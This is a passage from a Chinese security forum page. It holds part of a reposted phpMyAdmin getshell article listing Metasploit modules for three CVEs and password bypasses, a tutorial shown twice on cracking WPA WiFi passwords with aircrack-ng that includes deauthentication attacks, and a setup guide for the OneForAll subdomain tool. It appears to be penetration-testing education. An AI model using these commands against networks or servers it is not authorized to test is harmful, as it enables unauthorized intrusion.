Drop TABLE IF EXISTS shell_table; -- 删表
[/code](3)特殊版本GetShell
CVE-2013-3238


影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace


CVE-2012-5159


影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor


CVE-2009-1151


PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config


弱口令&万能密码


弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功


 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html

赛克艾威漏洞预警(2月8-2月14号)

漏洞预警ypk 发表了文章 • 0 个评论 • 229 次浏览 • 2020-02-14 14:07 • 来自相关话题

kali暴力破解wifi密码

无线安全cat 发表了文章 • 0 个评论 • 1067 次浏览 • 2020-02-08 15:21 • 来自相关话题

一、原理简述
kali通过监听wifi,抓取含有密码的包,最后通过暴力破解获取密码
 
二、步骤描述
1.购买一张无线网卡,需要具有monitor模式
2.将无线网卡插入物理机,并配置给kali虚拟机
3.监听周围的wifi热点,选择想要获取密码的wifi
4.抓包
5.暴力破解密码
 
三、过程演示
1. 查看无线网卡是否接入成功,成功会看到wlan0出现ifconfig -a //或者airmon-ng都可以




2. 开启网卡监听模式airmon-ng start wlan0 //wlan0是无线网卡




3. 再次查看网卡信息,注意这里一定是mon结尾,否则是你的网卡无monitor模式ifconfig -a //或者airmon-ng都可以




4. 开始监听周围WiFi热点,显示各个WiFi热点(ctrl C可以停止监听)airodump-ng wlan0mon



上面图片部分参数的意思:
BSSID:MAC地址。
PWR:信号强度,越小信号越强。
#Data:传输的数据。
CH:信号频道,只有在一个频道才可进行下一步操作。
ESSID:wifi的名称,中文的可能会乱码。
 
5.抓包airodump-ng -c 6 --bssid C6:F1:28:14:F1:F9 -w /home wlan0mon //-c 频道(ch) --bssid wifi的MAC地址 -w 用来存储抓包的目录



抓包成功窗口右上角出现WPA handshake,如下图





5.1攻击性抓包(原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。那么自然可以抓到包)
获取包的前提是有用户连接此wifi,即我们抓取的包是新用户连接此wifi的过程产生的流量,但是如果没有新用户怎么办?我们不能一直等下去,否则就相当于看运气。那么我们就让想办法让一个已经连接过的设备重新连接。所以需要我们主动发起攻击让其断开网络,这时候我们是一直抓包的,如果设备选择过自动连接或者用户手动连接,那么就可以抓包了。
在第五步的抓包图片下半部分有一个station参数,那里显示的是连接此wifi的设备MAC地址,打开新的shell输入下面的命令。aireplay-ng -0 5 -a C6:F1:28:14:F1:F9 -c xx:xx:xx:xx:xx:xx wlan0mon //-0 5 攻击某个设备的次数,0为无限,-0 5则为攻击五次 -a wifi的MAC地址 -c 连接wifi的设备MAC地址
5.2抓包过程
在做第五步抓包时,由于是后台抓包,我们可能因为看不到抓包过程感到不习惯,或者以为还没有抓到包,而一直等下去,这时候就可以打开一个新的shell窗口,输入下面的命令,方便观察抓包过程aireplay-ng -0 0 -a mac地址 网卡名




6.暴力破解
可以使用kali自带的密码字典(也可以使用自己的字典),路径: /usr/share/wordlists/rockyou.txt.gz,解压命令:gzip -d /usr/share/wordlists/rockyou.txt.gz在shell中输入下面命令,开始破解aircrack-ng -w /usr/share/wordlists/rockyou.txt home-01.cap //-w 字典路径 home-01.cap 第五步抓到的包(具体路径填写第五步的路径)破解成功如下图





四、参考文章
以上内容参考自下面两篇文章,图片也出自此
作者:AI_Engine,链接:https://www.jianshu.com/p/4fa9d154db5d
作者:叛逆不坏小子,链接:https://blog.csdn.net/qq_41203799/article/details/79945133
  查看全部
一、原理简述
kali通过监听wifi,抓取含有密码的包,最后通过暴力破解获取密码
 
二、步骤描述
1.购买一张无线网卡,需要具有monitor模式
2.将无线网卡插入物理机,并配置给kali虚拟机
3.监听周围的wifi热点,选择想要获取密码的wifi
4.抓包
5.暴力破解密码
 
三、过程演示
1. 查看无线网卡是否接入成功,成功会看到wlan0出现
ifconfig -a     //或者airmon-ng都可以
1.png


2. 开启网卡监听模式
airmon-ng start wlan0   //wlan0是无线网卡
2.png


3. 再次查看网卡信息,注意这里一定是mon结尾,否则是你的网卡无monitor模式
ifconfig -a     //或者airmon-ng都可以
3.png


4. 开始监听周围WiFi热点,显示各个WiFi热点(ctrl C可以停止监听)
airodump-ng wlan0mon
4.png

上面图片部分参数的意思:
BSSID:MAC地址。
PWR:信号强度,越小信号越强。
#Data:传输的数据。
CH:信号频道,只有在一个频道才可进行下一步操作。
ESSID:wifi的名称,中文的可能会乱码。
 
5.抓包
airodump-ng -c 6 --bssid C6:F1:28:14:F1:F9 -w /home wlan0mon   //-c 频道(ch) --bssid wifi的MAC地址 -w 用来存储抓包的目录
5.png

抓包成功窗口右上角出现WPA handshake,如下图
8.png


5.1攻击性抓包原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。那么自然可以抓到包
获取包的前提是有用户连接此wifi,即我们抓取的包是新用户连接此wifi的过程产生的流量,但是如果没有新用户怎么办?我们不能一直等下去,否则就相当于看运气。那么我们就让想办法让一个已经连接过的设备重新连接。所以需要我们主动发起攻击让其断开网络,这时候我们是一直抓包的,如果设备选择过自动连接或者用户手动连接,那么就可以抓包了。
在第五步的抓包图片下半部分有一个station参数,那里显示的是连接此wifi的设备MAC地址,打开新的shell输入下面的命令。
aireplay-ng -0 5 -a C6:F1:28:14:F1:F9 -c xx:xx:xx:xx:xx:xx wlan0mon //-0 5 攻击某个设备的次数,0为无限,-0 5则为攻击五次 -a wifi的MAC地址 -c 连接wifi的设备MAC地址

5.2抓包过程
在做第五步抓包时,由于是后台抓包,我们可能因为看不到抓包过程感到不习惯,或者以为还没有抓到包,而一直等下去,这时候就可以打开一个新的shell窗口,输入下面的命令,方便观察抓包过程
aireplay-ng -0 0 -a mac地址 网卡名
6.png


6.暴力破解
可以使用kali自带的密码字典(也可以使用自己的字典),路径: /usr/share/wordlists/rockyou.txt.gz,解压命令:
gzip -d /usr/share/wordlists/rockyou.txt.gz
在shell中输入下面命令,开始破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt home-01.cap  //-w 字典路径 home-01.cap 第五步抓到的包(具体路径填写第五步的路径)
破解成功如下图
7.png


四、参考文章
以上内容参考自下面两篇文章,图片也出自此
作者:AI_Engine,链接:https://www.jianshu.com/p/4fa9d154db5d
作者:叛逆不坏小子,链接:https://blog.csdn.net/qq_41203799/article/details/79945133
 

OneForAll功能强大的子域名收集工具

渗透测试Einzben 发表了文章 • 0 个评论 • 632 次浏览 • 2020-02-07 18:56 • 来自相关话题

 
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证  fuzz以及信息拓展等功能。不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。为了解决以上痛点,此项目应用而生, oneforall是一款集百家之长,功能强大的全面快速子域收集终极神器。


 OneForAll 功能特性[list=1]利用证书透明度收集子域常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)利用网上爬虫档案收集子域利用dns数据集收集子域利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)利用威胁情报平台数据收集子域利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协[size=18]程,DNS解析和http请求使用异步多协程。[/size]后续计划 各模块支持优化和完善 子域监控(标记每次新发现的子域) 子域收集爬虫实现(包括从JS等静态资源文件中收集子域) 操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)
安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
 
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装




下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
 
cd oneforall/
python oneforall.py --help





使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破
  查看全部
 
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
  • 不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证  fuzz以及信息拓展等功能。
  • 不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。
  • 缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。
  • 效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。
为了解决以上痛点,此项目应用而生, oneforall是一款集百家之长,功能强大的全面快速子域收集终极神器。
1.png
 OneForAll 功能特性
  • [list=1]
  • 利用证书透明度收集子域
  • 常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)
  • 利用网上爬虫档案收集子域
  • 利用dns数据集收集子域
  • 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)
  • 利用威胁情报平台数据收集子域
  • 利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
  • 处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。
  • 速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协
  • [size=18]程,DNS解析和http请求使用异步多协程。[/size]
后续计划
  •  各模块支持优化和完善
  •  子域监控(标记每次新发现的子域)
  •  子域收集爬虫实现(包括从JS等静态资源文件中收集子域)
  •  操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)

安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
 
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装
2.png

下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
 
cd oneforall/
python oneforall.py --help

3.png

使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破
 

赛克艾威漏洞预警(2月1-2月7号)

漏洞预警ypk 发表了文章 • 0 个评论 • 219 次浏览 • 2020-02-07 16:25 • 来自相关话题